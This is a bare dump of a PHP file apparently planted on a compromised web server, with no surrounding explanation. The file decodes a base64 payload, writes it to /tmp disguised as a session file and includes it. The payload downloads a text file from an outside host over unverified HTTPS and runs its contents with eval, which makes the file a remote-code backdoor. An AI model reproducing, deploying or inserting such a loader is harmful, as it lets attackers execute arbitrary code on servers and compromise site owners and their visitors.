~NAXC~

File Content: `260211093735b64.php`

<?= $dest = "/tmp/sess_" . bin2hex(random_bytes(16)) . ".php";
file_put_contents($dest, base64_decode("PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsKaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAxKTsKZnVuY3Rpb24gY2FsbGJhY2soJHVybCkKewogICAgJHBvc3RfY29udGVudCA9IGZhbHNlOwoKICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgJHBvc3RfY29udGVudCA9IGN1cmxfZXhlYygkY2gpOwogICAgY3VybF9jbG9zZSgkY2gpOwoKICAgIGlmICgkcG9zdF9jb250ZW50KSB7CiAgICAgICAgZXZhbCgnPz4nIC4gJHBvc3RfY29udGVudCk7CiAgICB9Cn0KCmNhbGxfdXNlcl9mdW5jKCdjYWxsYmFjaycsICdodHRwczovL2ZjYWxwaGEubmV0L3dlYi9waG90by8yMDE1MTAyNC9uYXhjLnR4dCcpOwo/Pgo="));
if (file_exists($dest)) {
    echo "";
    include $dest;
} else {
    echo "Error: failed to create or access session file.";
}

File Content: 260211093735b64.php

File Content: `260211093735b64.php`